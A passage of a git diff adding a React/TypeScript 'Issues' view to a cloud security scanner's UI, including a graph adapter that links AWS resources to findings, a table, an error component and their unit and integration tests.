+ "finding:s3_bucket_public_access · arn:aws:s3:::a",
+ "finding:s3_bucket_default_encryption · arn:aws:s3:::b",
+ ]);
+ expect(view.nodes[0]).toMatchObject({
+ labels: ["S3Bucket"],
+ properties: { name: "a" },
+ });
+ expect(view.edges).toContainEqual(
+ expect.objectContaining({
+ source: "resource:arn:aws:s3:::b",
+ target: "finding:s3_bucket_default_encryption · arn:aws:s3:::b",
+ type: "HAS_FINDING",
+ }),
+ );
+ expect(view.nodes.at(-1)?.properties).not.toHaveProperty("severity");
+ expect(view.nodes.at(-1)?.properties).toMatchObject({
+ check_id: "s3_bucket_default_encryption",
+ resource_uid: "arn:aws:s3:::b",
+ });
+ });
+
+ it.each(["yes", "no", "partial", "unknown"])(
+ "does not infer per-resource Internet reachability from aggregate %s",
+ (state) => {
+ const view = buildIssueGraph(
+ issue({ legs: { reachability: leg(state) } } as never),
+ ["arn:aws:s3:::a"],
+ );
+
+ expect(ids(view)).not.toContain("internet");
+ expect(view.edges.map((e) => e.source)).not.toContain("internet");
+ },
+ );
+
+ it("prioritizes resources with evidence before applying the graph limit", () => {
+ // Given - evidence belongs to resources beyond the initial graph limit.
+ const uids = Array.from(
+ { length: GRAPH_RESOURCE_LIMIT + 3 },
+ (_, i) => `arn:aws:s3:::${String.fromCharCode(97 + i)}`,
+ ).reverse();
+
+ // When
+ const view = buildIssueGraph(issue(), uids);
+
+ // Then - both findings remain visible within the resource limit.
+ expect(view.nodes.filter((n) => n.id.startsWith("resource:"))).toHaveLength(
+ GRAPH_RESOURCE_LIMIT,
+ );
+ expect(ids(view)).toEqual(
+ expect.arrayContaining([
+ "resource:arn:aws:s3:::a",
+ "resource:arn:aws:s3:::b",
+ "finding:s3_bucket_public_access · arn:aws:s3:::a",
+ "finding:s3_bucket_default_encryption · arn:aws:s3:::b",
+ ]),
+ );
+ });
+
+ it("keeps the limit and skips findings whose resources do not fit", () => {
+ // Given - more evidence-bearing resources than the graph can display.
+ const uids = Array.from(
+ { length: GRAPH_RESOURCE_LIMIT + 1 },
+ (_, i) => `resource-${i}`,
+ );
+ const assessedIssue = issue();
+ assessedIssue.legs.reachability.evidence = uids.map(
+ (uid) => `check · ${uid}`,
+ );
+
+ // When
+ const view = buildIssueGraph(assessedIssue, uids);
+
+ // Then - preserve input order and never leave an edge without its resource.
+ expect(
+ view.nodes.filter((node) => node.id.startsWith("resource:")),
+ ).toHaveLength(GRAPH_RESOURCE_LIMIT);
+ expect(view.edges).toHaveLength(GRAPH_RESOURCE_LIMIT);
+ expect(ids(view)).not.toContain(
+ `finding:check · resource-${GRAPH_RESOURCE_LIMIT}`,
+ );
+ for (const edge of view.edges) {
+ expect(ids(view)).toContain(edge.source);
+ expect(ids(view)).toContain(edge.target);
+ }
+ expect(uids[0]).toBe("resource-0");
+ });
+
+ it.each([
+ { evidence: [] },
+ { evidence: ["malformed", " · resource-12", "check · unrelated-resource"] },
+ ])(
+ "preserves resource order without matching valid evidence: $evidence",
+ ({ evidence }) => {
+ // Given
+ const uids = Array.from(
+ { length: GRAPH_RESOURCE_LIMIT + 1 },
+ (_, i) => `resource-${i}`,
+ );
+ const assessedIssue = issue();
+ assessedIssue.legs.reachability.evidence = evidence;
+
+ // When
+ const view = buildIssueGraph(assessedIssue, uids);
+
+ // Then
+ expect(ids(view)).toEqual(
+ uids.slice(0, GRAPH_RESOURCE_LIMIT).map((uid) => `resource:${uid}`),
+ );
+ expect(view.edges).toEqual([]);
+ },
+ );
+});
diff --git a/ui/components/issues/issue-graph.adapter.ts b/ui/components/issues/issue-graph.adapter.ts
new file mode 100644
index 0000000000..3abd73554e
--- /dev/null
+++ b/ui/components/issues/issue-graph.adapter.ts
@@ -0,0 +1,109 @@
+import { AttackPathView } from "@/lib/attack-paths/group-graph";
+import { GraphEdge, GraphNode } from "@/types/attack-paths";
+import { IssueAttributes, IssueFinding } from "@/types/issues";
+
+/** Resources drawn before the rest are left to the list below the graph. */
+export const GRAPH_RESOURCE_LIMIT = 12;
+
+// shortcut: covers the resource kinds the issue patterns fold today; anything
+// else draws with the renderer's generic icon. Extend when a pattern adds one.
+const RESOURCE_LABELS: [RegExp, string][] = [
+ [/^arn:aws:s3:/, "S3Bucket"],
+ [/^arn:aws:iam::[^:]*:role\//, "AWSRole"],
+ [/^arn:aws:iam::[^:]*:user\//, "AWSUser"],
+ [/^arn:aws:iam::[^:]*:root$/, "AWSAccount"],
+ [/^arn:aws:ec2:.*:instance\//, "EC2Instance"],
+ [/^arn:aws:ec2:.*:security-group\//, "EC2SecurityGroup"],
+ [/^arn:aws:lambda:/, "AWSLambda"],
+ [/^arn:aws:rds:/, "RDSInstance"],
+ [/^arn:aws:secretsmanager:/, "Secret"],
+ [/\/virtualMachines\//i, "VirtualMachine"],
+];
+
+const resourceLabel = (uid: string) =>
+ RESOURCE_LABELS.find(([pattern]) => pattern.test(uid))?.[1] ?? "Resource";
+
+/** The last path or ARN segment: what an operator calls the resource. */
+const shortName = (uid: string) =>
+ uid.split(/[/:]/).filter(Boolean).pop() ?? uid;
+
+/** Folded findings and supporting evidence associate checks with resources, not attack paths. */
+export const buildIssueGraph = (
+ issue: IssueAttributes,
+ resourceUids: string[],
+ findings: IssueFinding[] = [],
+): AttackPathView => {
+ const nodes: GraphNode[] = [];
+ const edges: GraphEdge[] = [];
+ const evidence = Object.values(issue.legs ?? {})
+ .flatMap((leg) => leg?.evidence ?? [])
+ .map((line) => {
+ const [checkId, uid] = line.split(" · ");
+ return { line, checkId, uid };
+ })
+ .filter(({ checkId, uid }) => checkId && uid);
+ const evidenceResources = new Set(evidence.map(({ uid }) => uid));
+ const findingResources = new Set(
+ findings.map(({ resourceUid }) => resourceUid),
+ );
+ const resources = [
+ ...resourceUids.filter((uid) => findingResources.has(uid)),
+ ...resourceUids.filter(
+ (uid) => !findingResources.has(uid) && evidenceResources.has(uid),
+ ),
+ ...resourceUids.filter(
+ (uid) => !findingResources.has(uid) && !evidenceResources.has(uid),
+ ),
+ ].slice(0, GRAPH_RESOURCE_LIMIT);
+ const resourceId = (uid: string) => `resource:${uid}`;
+
+ resources.forEach((uid) => {
+ nodes.push({
+ id: resourceId(uid),
+ labels: [resourceLabel(uid)],
+ properties: { id: uid, name: shortName(uid) },
+ });
+ });
+
+ const shown = new Set(resources);
+ const seen = new Set();
+ const addFinding = (
+ uid: string,
+ checkId: string,
+ properties: GraphNode["properties"],
+ ) => {
+ const line = `${checkId} · ${uid}`;
+ if (!shown.has(uid) || seen.has(line)) return;
+ seen.add(line);
+ const id = `finding:${line}`;
+ nodes.push({
+ id,
+ labels: ["ProwlerFinding"],
+ properties: {
+ id,
+ check_id: checkId,
+ resource_uid: uid,
+ ...properties,
+ },
+ });
+ edges.push({
+ id: `${uid}->${id}`,
+ source: resourceId(uid),
+ target: id,
+ type: "HAS_FINDING",
+ });
+ };
+
+ findings.forEach(({ id, checkId, checkTitle, severity, resourceUid }) =>
+ addFinding(resourceUid, checkId, {
+ finding_id: id,
+ check_title: checkTitle,
+ severity,
+ }),
+ );
+ evidence.forEach(({ checkId, uid }) =>
+ addFinding(uid, checkId, { check_title: checkId }),
+ );
+
+ return { nodes, edges, groupMembers: new Map() };
+};
diff --git a/ui/components/issues/issue-graph.test.tsx b/ui/components/issues/issue-graph.test.tsx
new file mode 100644
index 0000000000..cecc2d9651
--- /dev/null
+++ b/ui/components/issues/issue-graph.test.tsx
@@ -0,0 +1,209 @@
+import { act, render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { ComponentProps } from "react";
+import { beforeEach, describe, expect, expectTypeOf, it, vi } from "vitest";
+
+import { GraphNode } from "@/types/attack-paths";
+import { IssueAttributes } from "@/types/issues";
+
+const { getFindings, navigateToFinding } = vi.hoisted(() => ({
+ getFindings: vi.fn(),
+ navigateToFinding: vi.fn(),
+}));
+vi.mock("@/actions/findings", () => ({ getFindings }));
+vi.mock("@/hooks/use-finding-details", () => ({
+ useFindingDetails: () => ({
+ findingDetails: null,
+ findingDetailLoading: false,
+ resetFindingDetails: vi.fn(),
+ navigateToFinding,
+ }),
+}));
+vi.mock("@/components/findings/table", () => ({
+ FindingDetailDrawer: () => null,
+}));
+vi.mock("@/components/attack-paths/graph/attack-path-graph", () => ({
+ AttackPathGraph: ({
+ data,
+ onNodeClick,
+ }: {
+ data: { nodes: GraphNode[] };
+ onNodeClick: (node: GraphNode) => void;
+ }) => (
+
+ onNodeClick(
+ data.nodes.find((node) => node.labels.includes("ProwlerFinding")) ?? {
+ id: "finding",
+ labels: ["ProwlerFinding"],
+ properties: { check_id: "s3_public", resource_uid: "bucket" },
+ },
+ )
+ }
+ >
+ Open finding
+
+ ),
+}));
+
+import { IssueGraph } from "./issue-graph";
+
+const issue = { legs: {} } as IssueAttributes;
+
+it("requires provider and scan identifiers together in the graph props", () => {
+ type Props = ComponentProps;
+ type BaseProps = Pick;
+
+ expectTypeOf().toExtend();
+ expectTypeOf<
+ BaseProps & { providerId: string; scanId: string }
+ >().toExtend();
+ expectTypeOf().not.toExtend();
+ expectTypeOf().not.toExtend();
+});
+
+describe("IssueGraph finding lookup", () => {
+ beforeEach(() => {
+ navigateToFinding.mockResolvedValue(undefined);
+ });
+
+ it("opens a folded finding by id without another lookup", async () => {
+ // Given
+ render(
+ ,
+ );
+
+ // When
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+
+ // Then
+ expect(navigateToFinding).toHaveBeenCalledWith("folded-finding");
+ expect(getFindings).not.toHaveBeenCalled();
+ });
+
+ it("limits lookup to the issue provider and verifies the returned scan", async () => {
+ getFindings.mockResolvedValue({
+ data: [
+ {
+ id: "finding-1",
+ relationships: { scan: { data: { id: "scan-1" } } },
+ },
+ ],
+ });
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+ await user.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(getFindings).toHaveBeenCalledWith({
+ pageSize: 1,
+ filters: {
+ "filter[provider_id]": "provider-1",
+ "filter[scan]": "scan-1",
+ "filter[check_id]": "s3_public",
+ "filter[resource_uid]": "bucket",
+ "filter[status]": "FAIL",
+ },
+ });
+ expect(navigateToFinding).toHaveBeenCalledWith("finding-1");
+ });
+
+ it("rejects a finding from a newer scan", async () => {
+ getFindings.mockResolvedValue({
+ data: [
+ {
+ id: "new-finding",
+ relationships: { scan: { data: { id: "new-scan" } } },
+ },
+ ],
+ });
+ render(
+ ,
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(navigateToFinding).not.toHaveBeenCalled();
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "no longer available for the issue's scan",
+ );
+ });
+
+ it("reports failed requests and allows retry", async () => {
+ getFindings
+ .mockRejectedValueOnce(new Error("Offline"))
+ .mockResolvedValueOnce({ data: [] });
+ render(
+ ,
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "Could not load this finding",
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(getFindings).toHaveBeenCalledTimes(2);
+ });
+
+ it("shows loading feedback and ignores concurrent clicks", async () => {
+ let resolve!: (value: { data: [] }) => void;
+ getFindings.mockReturnValue(
+ new Promise((done) => {
+ resolve = done;
+ }),
+ );
+ render(
+ ,
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(screen.getByRole("status")).toHaveTextContent(
+ "Loading finding details",
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(getFindings).toHaveBeenCalledOnce();
+ await act(async () => resolve({ data: [] }));
+ await waitFor(() =>
+ expect(screen.queryByRole("status")).not.toBeInTheDocument(),
+ );
+ });
+
+ it("does not look up findings without a provider and scan", async () => {
+ render( );
+ await userEvent.click(screen.getByRole("button", { name: "Open finding" }));
+ expect(getFindings).not.toHaveBeenCalled();
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "no provider or scan reference",
+ );
+ });
+});
diff --git a/ui/components/issues/issue-graph.tsx b/ui/components/issues/issue-graph.tsx
new file mode 100644
index 0000000000..9704831c4d
--- /dev/null
+++ b/ui/components/issues/issue-graph.tsx
@@ -0,0 +1,176 @@
+"use client";
+
+import { useEffect, useRef, useState } from "react";
+
+import { getFindings } from "@/actions/findings";
+import { AttackPathGraph } from "@/components/attack-paths/graph/attack-path-graph";
+import { FindingDetailDrawer } from "@/components/findings/table";
+import {
+ buildIssueGraph,
+ GRAPH_RESOURCE_LIMIT,
+} from "@/components/issues/issue-graph.adapter";
+import { Alert, AlertDescription } from "@/components/shadcn/alert";
+import { Card } from "@/components/shadcn/card/card";
+import { useFindingDetails } from "@/hooks/use-finding-details";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
+import { GraphNode } from "@/types/attack-paths";
+import { IssueAttributes, IssueFinding } from "@/types/issues";
+
+interface IssueGraphBaseProps {
+ issue: IssueAttributes;
+ resourceUids: string[];
+ findings?: IssueFinding[];
+}
+
+interface ScopedIssueGraphProps extends IssueGraphBaseProps {
+ providerId: string;
+ scanId: string;
+}
+
+interface UnscopedIssueGraphProps extends IssueGraphBaseProps {
+ providerId?: never;
+ scanId?: never;
+}
+
+type IssueGraphProps = ScopedIssueGraphProps | UnscopedIssueGraphProps;
+
+export const IssueGraph = ({
+ issue,
+ resourceUids,
+ findings = [],
+ providerId,
+ scanId,
+}: IssueGraphProps) => {
+ const finding = useFindingDetails();
+ const view = buildIssueGraph(issue, resourceUids, findings);
+ const shownFindings = new Set(
+ view.nodes.flatMap((node) =>
+ node.properties.finding_id ? [String(node.properties.finding_id)] : [],
+ ),
+ ).size;
+ const pending = useRef(false);
+ const mounted = useRef(true);
+ const [loading, setLoading] = useState(false);
+ const [lookupComplete, setLookupComplete] = useState(false);
+ const [error, setError] = useState(null);
+ const expandedResources = new Set(
+ view.nodes
+ .filter((node) => node.id.startsWith("resource:"))
+ .map((node) => node.id),
+ );
+
+ useEffect(() => {
+ mounted.current = true;
+ return () => {
+ mounted.current = false;
+ };
+ }, []);
+
+ const handleNodeClick = async (node: GraphNode) => {
+ if (!isProwlerFindingNode(node.labels) || pending.current) return;
+ setError(null);
+ setLookupComplete(false);
+ finding.resetFindingDetails();
+ let findingId = node.properties.finding_id;
+ if (!findingId && (!providerId || !scanId)) {
+ setError(
+ "Finding details are unavailable because this issue has no provider or scan reference.",
+ );
+ return;
+ }
+ pending.current = true;
+ setLoading(true);
+ try {
+ if (!findingId) {
+ const response = await getFindings({
+ pageSize: 1,
+ filters: {
+ "filter[provider_id]": providerId,
+ "filter[scan]": scanId,
+ "filter[check_id]": String(node.properties.check_id),
+ "filter[resource_uid]": String(node.properties.resource_uid),
+ "filter[status]": "FAIL",
+ },
+ });
+ if (!mounted.current) return;
+ if (!Array.isArray(response?.data)) {
+ setError("Could not load this finding. Select the finding to retry.");
+ return;
+ }
+ const match = response.data[0];
+ // Reject mismatched responses even though the lookup is scoped to the scan.
+ if (!match || match.relationships?.scan?.data?.id !== scanId) {
+ setError(
+ "This finding is no longer available for the issue's scan. Refresh issues to load the latest assessment.",
+ );
+ return;
+ }
+ findingId = match.id;
+ }
+ await finding.navigateToFinding(String(findingId));
+ if (mounted.current) setLookupComplete(true);
+ } catch {
+ if (mounted.current)
+ setError("Could not load this finding. Select the finding to retry.");
+ } finally {
+ pending.current = false;
+ if (mounted.current) setLoading(false);
+ }
+ };
+ const detailFailed =
+ lookupComplete && !finding.findingDetailLoading && !finding.findingDetails;
+
+ return (
+
+ Finding evidence
+
+ Showing {shownFindings} of {issue.findings_count} issue findings across{" "}
+ {Math.min(resourceUids.length, GRAPH_RESOURCE_LIMIT)} of{" "}
+ {resourceUids.length} affected resources, plus supporting checks cited
+ by the assessment. These links show evidence associations, not confirmed
+ attack paths.
+
+ {loading && (
+
+ Loading finding details…
+
+ )}
+ {(error || detailFailed) && (
+
+
+ {error ??
+ "Could not load this finding. Select the finding to retry."}
+
+
+ )}
+
+
+
+ {finding.findingDetails && (
+ {
+ if (!open) {
+ setLookupComplete(false);
+ finding.resetFindingDetails();
+ }
+ }}
+ />
+ )}
+
+ );
+};
diff --git a/ui/components/issues/issues-load-error.tsx b/ui/components/issues/issues-load-error.tsx
new file mode 100644
index 0000000000..cd6f394fe1
--- /dev/null
+++ b/ui/components/issues/issues-load-error.tsx
@@ -0,0 +1,37 @@
+"use client";
+
+import { useRouter } from "next/navigation";
+import { useTransition } from "react";
+
+import { Alert, AlertDescription, AlertTitle } from "@/components/shadcn/alert";
+import { Button } from "@/components/shadcn/button/button";
+
+interface IssuesLoadErrorProps {
+ message?: string;
+ onRetry?: () => void;
+}
+
+export function IssuesLoadError({
+ message = "Failed to load issues.",
+ onRetry,
+}: IssuesLoadErrorProps) {
+ const router = useRouter();
+ const [pending, startTransition] = useTransition();
+ return (
+
+ {message}
+
+
+ startTransition(() => (onRetry ? onRetry() : router.refresh()))
+ }
+ >
+ {pending ? "Retrying…" : "Retry"}
+
+
+
+ );
+}
diff --git a/ui/components/issues/issues-table.test.tsx b/ui/components/issues/issues-table.test.tsx
new file mode 100644
index 0000000000..815262b3ba
--- /dev/null
+++ b/ui/components/issues/issues-table.test.tsx
@@ -0,0 +1,88 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import type { IssueResponse } from "@/types/issues";
+
+import { IssuesTable } from "./issues-table";
+
+const { push, getIssue } = vi.hoisted(() => ({
+ push: vi.fn(),
+ getIssue: vi.fn(),
+}));
+vi.mock("next/navigation", () => ({
+ usePathname: () => "/issues",
+ useRouter: () => ({ push, refresh: vi.fn() }),
+ useSearchParams: () => new URLSearchParams(),
+}));
+vi.mock("@/lib", () => ({ getPaginationInfo: vi.fn() }));
+vi.mock("@/contexts", () => ({ useFilterTransitionOptional: () => null }));
+vi.mock("@/actions/issues", () => ({ getIssue }));
+vi.mock("@/components/issues/issue-graph", () => ({ IssueGraph: () => null }));
+
+const issue: IssueResponse["data"][number] = {
+ type: "issues",
+ id: "issue-1",
+ attributes: {
+ pattern: "aws_public_bucket",
+ cloud: "aws",
+ account: "prod",
+ title: "Public bucket",
+ verdict: "likely",
+ severity: "high",
+ findings_count: 3,
+ fix: "Restrict access",
+ inserted_at: "",
+ updated_at: "",
+ legs: Object.fromEntries(
+ ["reachability", "access", "target", "controls", "verification"].map(
+ (name) => [
+ name,
+ { state: "unknown", text: "Not observed", evidence: [] },
+ ],
+ ),
+ ) as unknown as IssueResponse["data"][number]["attributes"]["legs"],
+ },
+};
+
+describe("IssuesTable", () => {
+ beforeEach(() => {
+ getIssue.mockResolvedValue({ data: { attributes: { resource_uids: [] } } });
+ });
+
+ it("sorts findings and verdicts through the URL", async () => {
+ // Given
+ const user = userEvent.setup();
+ render( );
+ // When
+ await user.click(screen.getByRole("button", { name: "Findings" }));
+ // Then
+ expect(push).toHaveBeenLastCalledWith("/issues?sort=findings_count", {
+ scroll: false,
+ });
+ // When
+ await user.click(screen.getByRole("button", { name: "Verdict" }));
+ // Then
+ expect(push).toHaveBeenLastCalledWith("/issues?sort=verdict_rank", {
+ scroll: false,
+ });
+ });
+ it("opens and closes the detail with the keyboard", async () => {
+ // Given
+ const user = userEvent.setup();
+ render( );
+ // When
+ const toggle = screen.getByRole("button", { name: "Expand Public bucket" });
+ toggle.focus();
+ await user.keyboard("{Enter}");
+ // Then
+ expect(
+ screen.getByRole("button", { name: "Collapse Public bucket" }),
+ ).toHaveAttribute("aria-expanded", "true");
+ expect(await screen.findByText("Restrict access")).toBeInTheDocument();
+ // When
+ await user.keyboard(" ");
+ // Then
+ expect(screen.queryByText("Restrict access")).not.toBeInTheDocument();
+ });
+});
diff --git a/ui/components/issues/issues-table.tsx b/ui/components/issues/issues-table.tsx
new file mode 100644
index 0000000000..746f965e79
--- /dev/null
+++ b/ui/components/issues/issues-table.tsx
@@ -0,0 +1,157 @@
+"use client";
+
+import { ColumnDef, Row } from "@tanstack/react-table";
+import { ChevronDown, ChevronRight } from "lucide-react";
+import { createContext, useContext, useState } from "react";
+
+import { IssueDetail } from "@/components/issues/issue-detail";
+import { Badge } from "@/components/shadcn/badge/badge";
+import { Button } from "@/components/shadcn/button/button";
+import { EntityInfo } from "@/components/shadcn/entities";
+import { DataTable, DataTableColumnHeader } from "@/components/shadcn/table";
+import { TableCell, TableRow } from "@/components/shadcn/table/table";
+import { VERDICTS } from "@/lib/issues/verdicts";
+import { MetaDataProps } from "@/types";
+import { IssueResponse } from "@/types/issues";
+
+type IssueRow = IssueResponse["data"][number];
+
+interface IssueExpansion {
+ openId: string | null;
+ toggle: (id: string) => void;
+}
+
+const IssueExpansionContext = createContext(null);
+
+function IssueExpandCell({ row }: { row: Row }) {
+ const expansion = useContext(IssueExpansionContext);
+ const expanded = expansion?.openId === row.original.id;
+ return (
+ expansion?.toggle(row.original.id)}
+ >
+ {expanded ? (
+
+ ) : (
+
+ )}
+
+ );
+}
+
+const columns: ColumnDef[] = [
+ { id: "expand", header: "", cell: IssueExpandCell },
+ {
+ id: "issue",
+ header: "Issue",
+ cell: ({ row }) => (
+
+
+ {row.original.attributes.title}
+
+
+ {row.original.attributes.pattern}
+
+
+ ),
+ },
+ {
+ id: "provider",
+ header: "Provider",
+ cell: ({ row }) => (
+
+ ),
+ },
+ {
+ id: "findings",
+ accessorKey: "attributes.findings_count",
+ header: ({ column }) => (
+
+ ),
+ cell: ({ row }) => (
+
+ {row.original.attributes.findings_count}
+
+ ),
+ },
+ {
+ id: "verdict",
+ accessorKey: "attributes.verdict",
+ header: ({ column }) => (
+
+ ),
+ cell: ({ row }) => {
+ const verdict = VERDICTS.find(
+ (v) => v.id === row.original.attributes.verdict,
+ );
+ return (
+
+ {verdict?.label ?? row.original.attributes.verdict}
+
+ );
+ },
+ },
+];
+
+export const IssuesTable = ({
+ issues,
+ metadata,
+}: {
+ issues: IssueRow[];
+ metadata?: MetaDataProps;
+}) => {
+ // One open row at a time: each detail fetches its issue's resource ids.
+ const [openId, setOpenId] = useState(null);
+
+ const toggleRow = (id: string) =>
+ setOpenId((current) => (current === id ? null : id));
+ const renderAfterRow = (row: Row) =>
+ row.original.id === openId ? (
+
+
+
+
+
+
+
+ ) : null;
+
+ return (
+
+
+ toggleRow(row.original.id)}
+ renderAfterRow={renderAfterRow}
+ />
+
+
+ );
+};
diff --git a/ui/components/issues/issues.integration.test.tsx b/ui/components/issues/issues.integration.test.tsx
new file mode 100644
index 0000000000..8365494c99
--- /dev/null
+++ b/ui/components/issues/issues.integration.test.tsx
@@ -0,0 +1,254 @@
+import { http, HttpResponse } from "msw";
+import { afterEach, describe, expect, it } from "vitest";
+import { page, userEvent } from "vitest/browser";
+
+import { worker } from "@/__tests__/msw/worker";
+import { render } from "@/__tests__/render-browser";
+import { ExploitabilityChart } from "@/app/(prowler)/_overview/exploitability/_components/exploitability-chart";
+import { TopIssues } from "@/app/(prowler)/_overview/exploitability/_components/top-issues";
+import { IssuesList } from "@/app/(prowler)/issues/_components/issues-list";
+import { IssueResource, IssuesOverviewAttributes } from "@/types/issues";
+
+const resource = `arn:aws:s3:::production-customer-data-${"long-resource-name-".repeat(8)}`;
+const issue: IssueResource = {
+ type: "issues",
+ id: "issue-1",
+ attributes: {
+ pattern: "aws_public_bucket",
+ cloud: "aws",
+ account: "Production",
+ title: "Public bucket exposes customer data",
+ verdict: "likely",
+ severity: "high",
+ findings_count: 3,
+ fix: "Enable S3 Block Public Access and review the bucket policy.",
+ inserted_at: "",
+ updated_at: "",
+ legs: {
+ reachability: {
+ state: "yes",
+ text: "Public access is enabled.",
+ evidence: [`s3_public · ${resource}`],
+ },
+ access: {
+ state: "partial",
+ text: "Some access controls are in place.",
+ evidence: [],
+ },
+ target: {
+ state: "unknown",
+ text: "Data sensitivity has not been verified.",
+ evidence: [],
+ },
+ controls: {
+ state: "no",
+ text: "Block Public Access is disabled.",
+ evidence: [],
+ },
+ verification: {
+ state: "unknown",
+ text: "Logging has not been verified.",
+ evidence: [],
+ },
+ },
+ },
+ relationships: {
+ provider: { data: { type: "providers", id: "provider-1" } },
+ scan: { data: { type: "scans", id: "scan-1" } },
+ },
+};
+const summary: IssuesOverviewAttributes = {
+ exploitable: 0,
+ likely: 1,
+ conditional: 0,
+ not_exploitable: 0,
+ unknown: 0,
+ findings: 3,
+ issues: 1,
+ actionable: 1,
+ not_exploitable_findings: 0,
+};
+
+const setup = () => {
+ window.history.replaceState(
+ null,
+ "",
+ "/issues?filter[pattern]=aws_public_bucket",
+ );
+ worker.use(
+ http.get("*/issues/overview", () =>
+ HttpResponse.json({
+ data: { type: "issues-overview", attributes: summary },
+ }),
+ ),
+ http.get("*/issues", () => HttpResponse.json({ data: [issue] })),
+ http.get("*/issues/issue-1", () =>
+ HttpResponse.json({
+ data: {
+ ...issue,
+ attributes: {
+ ...issue.attributes,
+ resource_uids: [resource],
+ finding_uids: ["f1"],
+ },
+ },
+ }),
+ ),
+ http.get("*/findings", () =>
+ HttpResponse.json({
+ data: [
+ {
+ type: "findings",
+ id: "f1",
+ attributes: {
+ check_id: "s3_public",
+ severity: "critical",
+ check_metadata: { checktitle: "S3 bucket is public" },
+ },
+ relationships: {
+ resources: { data: [{ type: "resources", id: "r1" }] },
+ },
+ },
+ ],
+ included: [
+ { type: "resources", id: "r1", attributes: { uid: resource } },
+ ],
+ }),
+ ),
+ );
+};
+
+describe("Issues responsive layout", () => {
+ afterEach(async () => {
+ localStorage.removeItem("theme");
+ await page.viewport(1280, 800);
+ });
+
+ it.each([
+ { width: 375, theme: "light" },
+ { width: 768, theme: "light" },
+ { width: 1440, theme: "light" },
+ { width: 375, theme: "dark" },
+ { width: 1440, theme: "dark" },
+ ])(
+ "keeps the filters and expanded detail usable at $width px in $theme mode",
+ async ({ width, theme }) => {
+ await page.viewport(width, 1000);
+ localStorage.setItem("theme", theme);
+ setup();
+ const content = await IssuesList({
+ searchParams: { "filter[pattern]": "aws_public_bucket" },
+ });
+ const screen = await render(
+
+ Issues
+ {content}
+ ,
+ );
+ await expect
+ .element(screen.getByRole("button", { name: "Remove Pattern filter" }))
+ .toBeVisible();
+ await screen
+ .getByRole("button", {
+ name: "Expand Public bucket exposes customer data",
+ })
+ .click();
+ await expect
+ .element(screen.getByRole("region", { name: "Affected resources" }))
+ .toBeVisible();
+ await expect
+ .element(screen.getByText("Partly", { exact: true }))
+ .toBeVisible();
+ await expect
+ .element(
+ screen.getByRole("img", { name: "Critical finding risk icon" }),
+ )
+ .toBeVisible();
+ expect(document.documentElement.scrollWidth).toBeLessThanOrEqual(width);
+ const detailBounds = screen
+ .getByRole("region", { name: "Affected resources" })
+ .element()
+ .getBoundingClientRect();
+ expect(detailBounds.right).toBeLessThanOrEqual(width);
+ if (width < 640) {
+ await expect
+ .poll(() => {
+ const node = screen
+ .getByTestId("attack-path-finding-node")
+ .element();
+ const canvas = node.closest(".react-flow")!.getBoundingClientRect();
+ const bounds = node.getBoundingClientRect();
+ return bounds.left >= canvas.left && bounds.right <= canvas.right;
+ })
+ .toBe(true);
+ }
+
+ // Long resource identifiers and evidence must wrap within the detail.
+ for (const snippet of screen
+ .getByText(resource, { exact: true })
+ .elements()) {
+ expect(snippet.scrollWidth).toBeLessThanOrEqual(
+ snippet.clientWidth + 1,
+ );
+ }
+ await page.viewport(
+ width,
+ Math.max(1000, document.documentElement.scrollHeight),
+ );
+ await screen.getByRole("main").screenshot();
+ await screen
+ .getByRole("button", {
+ name: "Collapse Public bucket exposes customer data",
+ })
+ .click();
+ await expect
+ .element(screen.getByRole("region", { name: "Affected resources" }))
+ .not.toBeInTheDocument();
+ },
+ );
+
+ it("keeps keyboard focus on the expansion control", async () => {
+ setup();
+ const screen = await render(await IssuesList({ searchParams: {} }));
+ const toggle = screen.getByRole("button", {
+ name: "Expand Public bucket exposes customer data",
+ });
+ toggle.element().focus();
+ await userEvent.keyboard("{Enter}");
+ await expect
+ .element(
+ screen.getByRole("button", {
+ name: "Collapse Public bucket exposes customer data",
+ }),
+ )
+ .toHaveFocus();
+ await userEvent.keyboard(" ");
+ await expect.element(toggle).toHaveFocus();
+ });
+
+ it.each([375, 768, 1440])(
+ "contains overview cards at %s px",
+ async (width) => {
+ await page.viewport(width, 1000);
+ const screen = await render(
+
+
+
+ ,
+ );
+ await expect
+ .element(
+ screen.getByRole("link", { name: "1 exploitable or likely issues" }),
+ )
+ .toBeVisible();
+ expect(document.documentElement.scrollWidth).toBeLessThanOrEqual(width);
+ await screen.getByRole("main").screenshot();
+ },
+ );
+});
diff --git a/ui/components/issues/verdict-filter.test.tsx b/ui/components/issues/verdict-filter.test.tsx
new file mode 100644
index 0000000000..de3e7cb7c1
--- /dev/null
+++ b/ui/components/issues/verdict-filter.test.tsx
@@ -0,0 +1,133 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+
+import { VerdictFilter } from "@/components/issues/verdict-filter";
+
+const navigationState = vi.hoisted(() => ({
+ searchParams: new URLSearchParams(),
+ push: vi.fn(),
+}));
+
+vi.mock("next/navigation", () => ({
+ usePathname: () => "/issues",
+ useRouter: () => ({ push: navigationState.push }),
+ useSearchParams: () => navigationState.searchParams,
+}));
+
+vi.mock("@/contexts", () => ({ useFilterTransitionOptional: () => null }));
+
+const counts = {
+ exploitable: 2,
+ likely: 0,
+ conditional: 0,
+ not_exploitable: 0,
+ unknown: 0,
+};
+
+const lastPushedParams = () =>
+ new URL(navigationState.push.mock.calls.at(-1)![0], "http://localhost")
+ .searchParams;
+
+describe("VerdictFilter", () => {
+ it("renders one tab per verdict with its count and the fold", () => {
